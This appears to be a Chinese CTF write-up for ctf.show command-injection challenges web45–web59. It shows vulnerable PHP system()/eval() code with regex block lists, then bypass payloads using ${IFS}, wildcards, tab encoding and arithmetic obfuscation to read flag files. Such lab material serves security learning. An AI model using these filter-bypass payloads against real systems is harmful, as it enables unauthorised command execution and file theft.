    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:35:34 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }

    多过滤了空格

    http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac fl**.php%26%26ls

    使用ascii表的%09绕过

    Ascii表如下:

    二进制 十进制 十六进制 字符/缩写 解释
    00000000 0 00 NUL (NULL) 空字符
    00000001 1 01 SOH (Start Of Headling) 标题开始
    00000010 2 02 STX (Start Of Text) 正文开始
    00000011 3 03 ETX (End Of Text) 正文结束
    00000100 4 04 EOT (End Of Transmission) 传输结束
    00000101 5 05 ENQ (Enquiry) 请求
    00000110 6 06 ACK (Acknowledge) 回应/响应/收到通知
    00000111 7 07 BEL (Bell) 响铃
    00001000 8 08 BS (Backspace) 退格
    00001001 9 09 HT (Horizontal Tab) 水平制表符
    00001010 10 0A LF/NL(Line Feed/New Line) 换行键
    00001011 11 0B VT (Vertical Tab) 垂直制表符
    00001100 12 0C FF/NP (Form Feed/New Page) 换页键
    00001101 13 0D CR (Carriage Return) 回车键
    00001110 14 0E SO (Shift Out) 不用切换
    00001111 15 0F SI (Shift In) 启用切换
    00010000 16 10 DLE (Data Link Escape) 数据链路转义
    00010001 17 11 DC1/XON (Device Control 1/Transmission On) 设备控制1/传输开始
    00010010 18 12 DC2 (Device Control 2) 设备控制2
    00010011 19 13 DC3/XOFF (Device Control 3/Transmission Off) 设备控制3/传输中断
    00010100 20 14 DC4 (Device Control 4) 设备控制4
    00010101 21 15 NAK (Negative Acknowledge) 无响应/非正常响应/拒绝接收
    00010110 22 16 SYN (Synchronous Idle) 同步空闲
    00010111 23 17 ETB (End of Transmission Block) 传输块结束/块传输终止
    00011000 24 18 CAN (Cancel) 取消
    00011001 25 19 EM (End of Medium) 已到介质末端/介质存储已满/介质中断
    00011010 26 1A SUB (Substitute) 替补/替换
    00011011 27 1B ESC (Escape) 逃离/取消
    00011100 28 1C FS (File Separator) 文件分割符
    00011101 29 1D GS (Group Separator) 组分隔符/分组符
    00011110 30 1E RS (Record Separator) 记录分离符
    00011111 31 1F US (Unit Separator) 单元分隔符
    00100000 32 20 (Space) 空格
    00100001 33 21 !
    00100010 34 22 "
    00100011 35 23 #
    00100100 36 24 $
    00100101 37 25 %
    00100110 38 26 &
    00100111 39 27 '
    00101000 40 28 (
    00101001 41 29 )
    00101010 42 2A *
    00101011 43 2B +
    00101100 44 2C ,
    00101101 45 2D -
    00101110 46 2E .
    00101111 47 2F /
    00110000 48 30 0
    00110001 49 31 1
    00110010 50 32 2
    00110011 51 33 3
    00110100 52 34 4
    00110101 53 35 5
    00110110 54 36 6
    00110111 55 37 7
    00111000 56 38 8
    00111001 57 39 9
    00111010 58 3A :
    00111011 59 3B ;
    00111100 60 3C <
    00111101 61 3D =
    00111110 62 3E >
    00111111 63 3F ?
    01000000 64 40 @
    01000001 65 41 A
    01000010 66 42 B
    01000011 67 43 C
    01000100 68 44 D
    01000101 69 45 E
    01000110 70 46 F
    01000111 71 47 G
    01001000 72 48 H
    01001001 73 49 I
    01001010 74 4A J
    01001011 75 4B K
    01001100 76 4C L
    01001101 77 4D M
    01001110 78 4E N
    01001111 79 4F O
    01010000 80 50 P
    01010001 81 51 Q
    01010010 82 52 R
    01010011 83 53 S
    01010100 84 54 T
    01010101 85 55 U
    01010110 86 56 V
    01010111 87 57 W
    01011000 88 58 X
    01011001 89 59 Y
    01011010 90 5A Z
    01011011 91 5B [
    01011100 92 5C \
    01011101 93 5D ]
    01011110 94 5E ^
    01011111 95 5F _
    01100000 96 60 `
    01100001 97 61 a
    01100010 98 62 b
    01100011 99 63 c
    01100100 100 64 d
    01100101 101 65 e
    01100110 102 66 f
    01100111 103 67 g
    01101000 104 68 h
    01101001 105 69 i
    01101010 106 6A j
    01101011 107 6B k
    01101100 108 6C l
    01101101 109 6D m
    01101110 110 6E n
    01101111 111 6F o
    01110000 112 70 p
    01110001 113 71 q
    01110010 114 72 r
    01110011 115 73 s
    01110100 116 74 t
    01110101 117 75 u
    01110110 118 76 v
    01110111 119 77 w
    01111000 120 78 x
    01111001 121 79 y
    01111010 122 7A z
    01111011 123 7B {
    01111100 124 7C |
    01111101 125 7D }
    01111110 126 7E ~
    01111111 127 7F DEL (Delete) 删除

    web46

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:50:19 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }

    不让*和数字

    换成??即可

    http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac fl??.php%26%26ls

    web47

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-05 21:59:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i"$c)){         system($c." >/dev/null 2>&1");     } }else{     highlight_file(__FILE__); }

    直接用上一个的payload

    web48

    一样没有过滤tac

    web49

    一样没有过滤tac

    web50

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-05 22:32:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i"$c)){         system($c." >/dev/null 2>&1");     } }else{     highlight_file(__FILE__); }

    过滤了%09和$和空格

    http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl

    url编码后

    http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl

    nl命令:

    nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

    其中''为两个的单引号

    web51

    与web50一样

    web52

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){         system($c." >/dev/null 2>&1");     } }else{     highlight_file(__FILE__); }

    过滤了<和>,没有过滤$

    考虑使用IFS

    Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

    其中数字过滤

    使用cp和mv命令均无效

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp${IFS}fla?.php${IFS}a.txt||ls

    过滤了数字,所示使用a.txt

    查看ls后

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls||ls

    a.txt flag.php index.php

    查看复制过的

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}?.txt||ls

    回显如下:

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    ?php 2 3 /* 4 # -*- coding: utf-8 -*- 5 # @Author: h1xa 6 # @Date: 2020-09-05 20:49:44 7 # @Last Modified by: h1xa 8 # @Last Modified time: 2020-09-05 20:49:53 9 # @email: h1xa@ctfer.com 10 # @link: https://ctfer.com 11 12 */ 13 14 15 $flag="flag_here";

    好家伙,不在这里。遍历全局

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls${IFS}/${IFS}||ls

    复制代码
    • 1
    bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

    直接cp flag

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls${IFS}/$fla?||ls

    无回显

    要不是空目录要不是一个文件

    尝试文件复制

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp${IFS}/fla?${IFS}b.txt||ls

    查看

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls||ls

    回显成功

    查看复制的文件

    http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}b.txt||ls

    复制代码
    • 1
    1 ctfshow{caf4c161-d5ec-4215-bb43-45f091d799a7}

    web53

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-07 18:21:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){         echo($c);         $d system($c);         echo "
    "
    .$d;     }else{         echo 'no';     } }else{     highlight_file(__FILE__); }

    system成功的话返回最后一段,否则为false

    http://82baa6a1-7fed-41c4-843d-26903a052400.challenge.ctf.show/?c=nl${IFS}fla?.php

    复制代码
    • 1
    nl${IFS}fla?.php 1 15 $flag="ctfshow{6ee3394a-7785-452f-b438-ce2b136d6eab}";

    web54

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-07 19:43:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){         system($c);     } }else{     highlight_file(__FILE__); }

    过滤巨多

    不能使用''绕过

    http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=ls

    复制代码
    • 1
    flag.php index.php

    原本未有变化

    发现未过滤mv

    http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=mv${IFS}fla?.php${IFS}b.txt

    ls

    b.txt index.php

    http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/b.txt

    直接使用

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-07 19:40:53 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:41:00 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{70b6aa62-9e2d-4cf6-aa90-9226b983f202}";

    web55

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){         system($c);     } }else{     highlight_file(__FILE__); }

    过滤了a-z的字母

    没有·.·,.在linux下可以执行脚本文件

    考虑文件上传

    https://blog.csdn.net/qq_46091464/article/details/108513145

    web56

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){         system($c);     } }else{     highlight_file(__FILE__); }

    多过滤了

    web57

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-08 01:02:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){     $c=$_GET['c'];     if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i"$c)){         system("cat ".$c.".php");     } }else{     highlight_file(__FILE__); }

    只用构造36.php绕过过滤即可

    url

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    http://1c78a6f5-a9a5-4452-b093-1074f6bbb077.challenge.ctf.show/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))

    原理:

    原理是:
    ${_}=""
    $((${_}))=0
    $((~$((${_}))))=-1
    然后拼接出-36在进行取反

    注意的是:${_}会输出上一次的执行结果

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    ?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-07 19:40:53 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:41:00 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{5d167e95-84d5-4334-adea-a80cf8b9d684}"

    web58

    禁用函数

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){         $c$_POST['c'];         eval($c); }else{     highlight_file(__FILE__); }

    尝试

    phpinfo

    复制代码
    • 1
    Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

    echo函数

    成功!

    复制代码
    • 1
    c=echo `ls`;
    复制代码
    • 1
    Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

    禁止了exec的shell脚本执行

    c=show_source('flag.php');

    没有禁用文件读取

    复制代码
    • 1
    c=show_source('flag.php');
    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-09-07 19:40:53 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-07 19:41:00 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{349ab621-1b2a-451e-a177-34f42de232a2}";

    web59

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date:   2020-09-05 20:49:30 # @Last Modified by:   h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){         $c$_POST['c'];         eval($c); }else{     highlight_file(__FILE__); }

    与上题目一致

    只不过命令禁止更加严格

    复制代码
    • 1
    c=echo file_get_contenets('flag.php');
    复制代码
    • 1
    Fatal error: Uncaught Error: Call to undefined function file_get_contenets() in /var/www/html/index.php(17) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(17): eval() #1 {main} thrown in /var/www/html/index.php(17) : eval()'d code on line 1

    被禁用

    尝试之后与上体方法一致

    复制代码
    • 1
    c=show_source('flag.php');
  • 相关阅读:
    C语言程序设计笔记(浙大翁恺版) 第五周:循环控制
    MyBatisPlus一个依赖轻松搞定权限问题
    javaEE进阶 - Spring 更简单的读取和存储对象 - 细节狂魔
    vue3+node.js+mysql+ant design实现表格的查询功能
    node12-node的 get请求
    CAN总线收发节点设计
    Nginx配置ssl证书(https证书)
    Linux crontab 命令定时任务设置
    王爽《汇编语言》检测点11.2详细解析
    01BFS最短距离的原理和C++实现
  • 原文地址:https://www.cnblogs.com/WenTesla/p/16908835.html